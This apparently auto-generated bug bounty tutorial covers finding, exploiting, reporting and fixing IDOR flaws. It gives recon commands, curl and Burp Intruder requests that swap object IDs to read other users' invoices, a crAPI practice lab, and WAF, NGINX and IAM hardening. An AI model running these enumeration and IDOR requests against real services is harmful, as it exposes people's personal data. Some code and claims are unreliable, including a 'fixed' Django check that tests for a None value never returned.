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Introduction:
Bug bounty programs reward ethical hackers for discovering vulnerabilities before malicious actors exploit them. Even a “small” bounty can translate into a critical patch that shields thousands—or millions—of users from data breaches, account takeovers, or financial fraud. This article dissects the technical journey behind one researcher’s first bounty, mapping the reconnaissance, exploitation, and remediation steps that turned a minor-seeming flaw into a massive user protection win.
Learning Objectives:
- Understand how to identify, exploit, and responsibly disclose common web vulnerabilities (e.g., IDOR, XSS, broken access control).
- Master Linux and Windows command-line tools for bug bounty reconnaissance and payload delivery.
- Implement cloud-hardening and secure coding mitigations to prevent the most frequent bounty findings.
You Should Know:
1. Recruiting the Vulnerability: Reconnaissance and Endpoint Discovery
Every bug starts with thorough mapping of the target’s attack surface. The researcher likely used automated scanners and manual probes to discover an endpoint with broken object-level authorization.
Linux/Commands:
Subdomain enumeration (passive + active) amass enum -passive -d example.com subfinder -d example.com -o subdomains.txt Probe live hosts cat subdomains.txt | httpx -silent -threads 100 -status-code -title Directory brute-forcing gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt -t 50 -x php,aspx,jsp
Windows (PowerShell):
Resolve subdomains from a list
Get-Content subdomains.txt | Resolve-DnsName -Type A | Select-Object Name, IPAddress
Web request enumeration
Invoke-WebRequest -Uri "https://example.com/api/users" -Method Get -Headers @{"Authorization"="Bearer $token"}
Step-by-step:
1. Enumerate all subdomains using OSINT (Amass, Subfinder).
2. Filter live hosts with HTTPx or httpx.
- Crawl each live host to discover API endpoints (using Burp Suite passive crawl or Katana).
- Identify endpoints containing numeric IDs, user identifiers, or sequential parameters (e.g.,
/profile?id=1001,/api/v1/orders/{order_id}). - Test for IDOR by changing the ID to another user’s known value while replaying the request.
2. Exploitation Deep Dive: Abusing Broken Access Control
The “small bounty” often stems from a trivial but dangerous flaw: an API endpoint that fails to verify the requester’s ownership of a resource. Below is a typical exploitation chain using cURL and Burp Suite.
Linux (cURL exploitation):
Capture a legitimate request (e.g., fetching user invoice) curl -X GET "https://api.target.com/invoices/12345" \ -H "Authorization: Bearer eyJhbGciOiJ..." \ -H "Content-Type: application/json" Modify the invoice ID to a different user's invoice (e.g., 12346) curl -X GET "https://api.target.com/invoices/12346" \ -H "Authorization: Bearer eyJhbGciOiJ..." \ -H "Content-Type: application/json" If response returns valid data, IDOR is confirmed
Windows (PowerShell exploitation):
$headers = @{
"Authorization" = "Bearer $token"
}
$response = Invoke-RestMethod -Uri "https://api.target.com/invoices/12346" -Method Get -Headers $headers
$response | ConvertTo-Json
Burp Suite configuration for automated IDOR testing:
- Send the request to Repeater (Ctrl+R).
- Highlight the parameter value (e.g.,
12345). - Add a payload position (e.g., `12345` →
§§). - Switch to Intruder, load a wordlist of sequential IDs (1–10000).
- Grep for differences in response length, HTTP status, or lack of error messages.
Mitigation (code-level fix):
Vulnerable code def get_invoice(request, invoice_id): invoice = Invoice.objects.get(id=invoice_id) return JsonResponse(invoice.serialize()) Fixed code – with ownership check def get_invoice(request, invoice_id): invoice = Invoice.objects.get(id=invoice_id, user=request.user) if not invoice: raise PermissionDenied return JsonResponse(invoice.serialize())
- Patching for Mass Protection: Cloud and API Hardening
Once the vulnerability is reported, the security team must deploy a fix across potentially thousands of instances. This requires rapid cloud-hardening measures and API gateway rules.
AWS WAF rule to block IDOR attempts (JSON):
{
"Name": "IDOR-Block-Sequential-IDs",
"Priority": 10,
"Statement": {
"RateBasedStatement": {
"Limit": 50,
"AggregateKeyType": "IP",
"ScopeDownStatement": {
"RegexPatternSetReferenceStatement": {
"Arn": "arn:aws:wafv2:us-east-1:123456789012:regexpatternset/idor_patterns",
"FieldToMatch": { "UriPath": {} }
}
}
}
},
"Action": { "Block": {} }
}
NGINX rate‑limiting for sensitive endpoints:
location /api/invoices/ {
limit_req zone=invoicelimit burst=10 nodelay;
proxy_pass http://backend;
}
Cloud IAM policy to enforce resource ownership (AWS example):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "dynamodb:GetItem",
"Resource": "arn:aws:dynamodb:us-east-1:123456789012:table/Invoices",
"Condition": {
"ForAnyValue:StringNotEquals": {
"dynamodb:LeadingKeys": "${aws:userid}"
}
}
}
]
}
Step-by-step cloud hardening:
- Validate that all API endpoints implement resource‑based authorization (not just authentication).
- Replace numeric IDs with UUIDs or opaque tokens to prevent enumeration.
- Deploy a Web Application Firewall rule that blocks requests with sequential ID patterns to sensitive endpoints.
- Enable detailed logging for all access attempts to user resources (CloudTrail, Azure Monitor).
- Run automated post‑patch scans (using ZAP or Nuclei) to confirm the fix.
-
Building Your Own Bug Bounty Lab (Docker + Vulnerable API)
To practice without breaking real targets, set up a local IDOR‑vulnerable API using Docker and OWASP CrAPI.
Linux/Windows (Docker):
docker pull owasp/crapi docker run -d -p 8080:80 --name crapi owasp/crapi
Exploit the lab IDOR vulnerability:
Register two users: [email protected] and [email protected] curl -X POST http://localhost:8080/identity/api/auth/v1/register -d '{"email":"[email protected]","password":"pass"}' curl -X POST http://localhost:8080/identity/api/auth/v1/register -d '{"email":"[email protected]","password":"pass"}' Login as attacker, capture token TOKEN=$(curl -X POST http://localhost:8080/identity/api/auth/v1/login -d '{"email":"[email protected]","password":"pass"}' | jq -r '.token') Try to access victim's orders (change order ID from 1 to 2) curl -X GET "http://localhost:8080/workshop/api/shop/v1/orders/2" -H "Authorization: Bearer $TOKEN"
Step-by-step practice:
1. Run the CrAPI container.
- Use Burp Suite to intercept and modify order IDs.
- Write a Python script to automate IDOR fuzzing across 100+ IDs.
- Fix the vulnerability by modifying the Node.js backend (add user_id to SQL query).
5. Re‑test and document the fix.
- Reporting Like a Pro: What Earns Bounties and Respect
A high‑quality report dramatically increases the chance of a bounty and quick patch. Below is a template based on real bug bounty write‑ups.
Report structure (Markdown):
IDOR in `/api/v1/invoices/{id}` allows viewing any user's invoice
Severity: High (CVSS 6.5 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Affected Endpoint: https://api.target.com/api/v1/invoices/{integer}
Steps to Reproduce:
1. Login as user A (email: [email protected], password: Pass123)
2. Request `GET /api/v1/invoices/12345` with valid session cookie
3. Change ID to `12346` (observed in network tab after user B action)
4. Response returns full invoice details of user B – name, address, last4 of credit card
Impact: Full account takeover via exposed PII, potential payment fraud.
Proof of Concept (cURL):
curl -X GET "https://api.target.com/api/v1/invoices/12346" -H "Cookie: session=xyz"
Suggested Fix: Add `req.user.id == invoice.user_id` validation before returning data.
Step-by-step reporting:
- Reproduce the vulnerability from a clean browser session (clear cookies).
- Record a short video or screenshot showing the exploit.
- Write a clear, concise description with minimal jargon.
4. Include a cURL or HTTP request/response snippet.
- Propose a fix – this drastically speeds up triage.
What Undercode Say:
- Even modest bug bounties often protect a larger user base than headline‑grabbing critical vulnerabilities. A single missing `user_id` check can expose millions of records.
- Mastering IDOR and broken access control is the fastest way to earn your first bounty – these flaws remain the top OWASP API risk in 2025.
- The shift from manual cURL testing to automated fuzzing (with tools like Burp Intruder or ffuf) separates hobbyists from professional bug hunters.
- Cloud misconfigurations (IAM, WAF, rate limiting) are the real silent killers; many “small” patches require upstream infrastructure changes.
- Ethical disclosure isn’t just about the report – it’s about providing a working proof of concept and a clear remediation path.
Prediction:
Within the next 12 months, AI‑driven static analysis will automatically flag the majority of IDOR patterns during CI/CD pipelines, reducing first‑bounty payouts for trivial access control bugs. However, business‑logic flaws (e.g., race conditions in loyalty points, hidden parameter abuse) will become the new gold rush for researchers, commanding higher bounties as automated scanners fail to understand workflow context. Organizations will increasingly deploy real‑time API security gateways that enforce “object‑level authorization as a service,” making manual bug hunting shift toward identity federation and SSO bypass attacks. The researcher who celebrates a “small” bounty today is building the muscle memory for tomorrow’s six‑figure bug.
▶️ Related Video (66% Match):
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IT/Security Reporter URL:
Reported By: Hexploit My – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
